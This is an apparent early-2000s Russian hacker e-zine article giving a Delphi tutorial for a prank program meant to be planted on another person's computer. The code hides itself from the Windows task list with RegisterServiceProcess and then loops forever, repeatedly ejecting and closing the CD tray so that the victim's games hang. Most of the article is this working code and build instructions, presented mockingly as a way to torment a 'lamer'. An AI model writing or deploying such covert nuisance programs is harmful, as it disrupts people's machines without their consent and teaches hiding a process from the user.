->Статья №5
Crew Journal
Статья №5
12/10/2001
Это снова я, Супер классный, крутой и всемогущий заподлостроильщик :-].
Сегодня будем делать западло для подставки для кофе (CD-ROM) Представь такую картину: играет наш ламер в какую нибудь геймерскую гамесу, которая активно общается с сидюком, как вдруг сидюк выезжает... Гамеса не понимает куда делся диск, с которым она только что общалась, и соответственно висит.
В скоре сидюк вьезжает обратно. Ламер перезагружает игру. А через пару минут сидюк сново выезжает. У ламка начинается нервный тик, он снова перезагружает игру. Но сидюк опять выезжает, затем вьезжает, потом сново выезжает и т.д. и т.п. ;-))) Ламорс понимает, что его занючили, а сидюк продолжает выезжать и вьезжать, вьезжать и выезжать...
Дык вот, сейчас мы будем кодить этот нюк. Для начала загрузи Делфу. В меню File найди пимпу Close all, жми ее. Теперь в меню File жми на New. Появится форма с кучей всяких пимпов и закладок, большинство из них тебе сейчас не пригодятся. Нужна тебе одна заветная пимпа с надписью Console application, дави на нее. Появилась окно. После слова Program пиши название нашего нюка, например: Cofe_holder_Gonna_blow!!! После слова uses пиши: MMsystem,Windows; Прямо перед begin'ом пиши: function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL'; После begin'а пиши:
RegisterServiceProcess(GetCurrentProcessID, 1);
while true do // запускаем бесконечный цикл
begin
Sleep(1000000);// спим тысячу секунд, что бы ламер успел загрузить игрушку ;-)
mciSendString('Set cdaudio door open wait', nil, 0, 1); // Сидюк выезжает...
mciSendString('Set cdaudio door closed wait', nil, 0, 1); // Сидюк вьезжает... :-[0]))>
end;
end.
Ну вот и все, нюк готов. Жми CTRL + F9. Сохраняйся и вперед впихивать эту прогу ламорсу.
P.S.: Когда у тебя загрузилась Делфа, ты можешь написать этот код и в текущем приложении (Создается автоматически при загрузке Делфы), для этого лезь в PROJECT>View source.
До встречи...
author :: NETrEM
